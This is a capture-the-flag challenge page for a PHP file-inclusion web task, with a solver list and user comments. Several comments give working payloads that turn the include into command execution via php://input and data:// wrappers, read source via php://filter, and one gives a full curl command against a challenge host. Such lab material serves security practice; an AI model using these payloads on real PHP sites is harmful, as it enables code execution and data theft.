简单的IncludeWEB 未解决
分数:
15
金币:
2
题目作者:
hanzkj
一 血:
flagOrz
一血奖励:
2金币
解 决:
421
提 示:
描 述:
听说你很会读文件？我把门（目录遍历）焊死了，窗户（关键词过滤）也封了。笔给你，你来写（payload）。
评分(0)
暂无评分
解题动态
风掠 攻破了该题 13小时前
CCC1112 攻破了该题 14小时前
25456 攻破了该题 15小时前
qi1102 攻破了该题 19小时前
xuanbai 攻破了该题 1天前
Lapis 攻破了该题 1天前
Amy 攻破了该题 1天前
KN11 攻破了该题 3天前
woshicaocao 攻破了该题 3天前
1柒1 攻破了该题 3天前
luma 攻破了该题 3天前
wyyoh 攻破了该题 4天前
凯哥 攻破了该题 4天前
dchen06 攻破了该题 4天前
lizetao123 攻破了该题 4天前
世界你好 攻破了该题 5天前
c&y 攻破了该题 5天前
暗流安全 攻破了该题 6天前
小懒 攻破了该题 6天前
评论
灵梦归希 1月前
举报
上传木马，读取/flag
icyskin 3月前
举报
curl -X POST "http://160.202.254.160:18667/?page=PHP://input" -d "<?php system(\"cat /fla*\")?>"
kitniu 6月前
举报
1.IP/?page=php://filter/read=convert.base64-encode/resource=index.php 2.IP/?page=data://text/plain,%3C?php%20system(%27cat%20/fla?%27)?%3E
网恋秀牛子被录屏导致自卑 9月前
举报
/?page=data://text/plain,<?=exec("cat /fla?")?>
shrinp 10月前
举报
php://filter/convert.base64-encode/resource获取源码-》查看WAF细节-》使用data://text/plain, <?php 你需要的命令?>即可
yinghui130 11月前
举报
POST /?page=php://input HTTP/1.1 &lt;br&gt; Host: 171.80.2.169:15133 &lt;br&gt; &lt;br&gt; &lt;?php system('tac /flag ');?&gt;
网恋秀牛子被录屏导致自卑 9月前
举报
@111222 这不是实体编码，是bugku不让发尖括号之类的符号，自动把评论替换成实体编码了
111222 10月前
举报
谢谢你的思路，不过我用burp试了一下这里不用实体编码似乎也可以过
Jazz888 11月前
举报
flag{**********}
wywitkey 11月前
举报
解题思路是伪协议，先期php://filter/读源码，后期data://text/plain,读flag